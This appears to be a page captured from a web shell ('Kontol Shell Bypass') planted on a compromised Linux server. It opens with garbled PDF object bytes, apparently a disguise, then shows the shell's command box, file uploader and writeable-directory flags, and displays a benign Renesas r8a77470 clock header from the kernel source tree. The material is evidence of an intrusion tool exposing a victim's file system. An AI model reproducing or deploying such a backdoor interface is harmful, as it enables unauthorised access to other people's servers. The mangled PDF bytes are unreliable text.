%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/self/root/lib/modules/5.4.0-1103-aws/build/include/dt-bindings/clock/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/self/root/lib/modules/5.4.0-1103-aws/build/include/dt-bindings/clock/r8a77470-cpg-mssr.h
/* SPDX-License-Identifier: GPL-2.0
 *
 * Copyright (C) 2018 Renesas Electronics Corp.
 */
#ifndef __DT_BINDINGS_CLOCK_R8A77470_CPG_MSSR_H__
#define __DT_BINDINGS_CLOCK_R8A77470_CPG_MSSR_H__

#include <dt-bindings/clock/renesas-cpg-mssr.h>

/* r8a77470 CPG Core Clocks */
#define R8A77470_CLK_Z2		0
#define R8A77470_CLK_ZTR	1
#define R8A77470_CLK_ZTRD2	2
#define R8A77470_CLK_ZT		3
#define R8A77470_CLK_ZX		4
#define R8A77470_CLK_ZS		5
#define R8A77470_CLK_HP		6
#define R8A77470_CLK_B		7
#define R8A77470_CLK_LB		8
#define R8A77470_CLK_P		9
#define R8A77470_CLK_CL		10
#define R8A77470_CLK_CP		11
#define R8A77470_CLK_M2		12
#define R8A77470_CLK_ZB3	13
#define R8A77470_CLK_SDH	14
#define R8A77470_CLK_SD0	15
#define R8A77470_CLK_SD1	16
#define R8A77470_CLK_SD2	17
#define R8A77470_CLK_MP		18
#define R8A77470_CLK_QSPI	19
#define R8A77470_CLK_CPEX	20
#define R8A77470_CLK_RCAN	21
#define R8A77470_CLK_R		22
#define R8A77470_CLK_OSC	23

#endif /* __DT_BINDINGS_CLOCK_R8A77470_CPG_MSSR_H__ */

Kontol Shell Bypass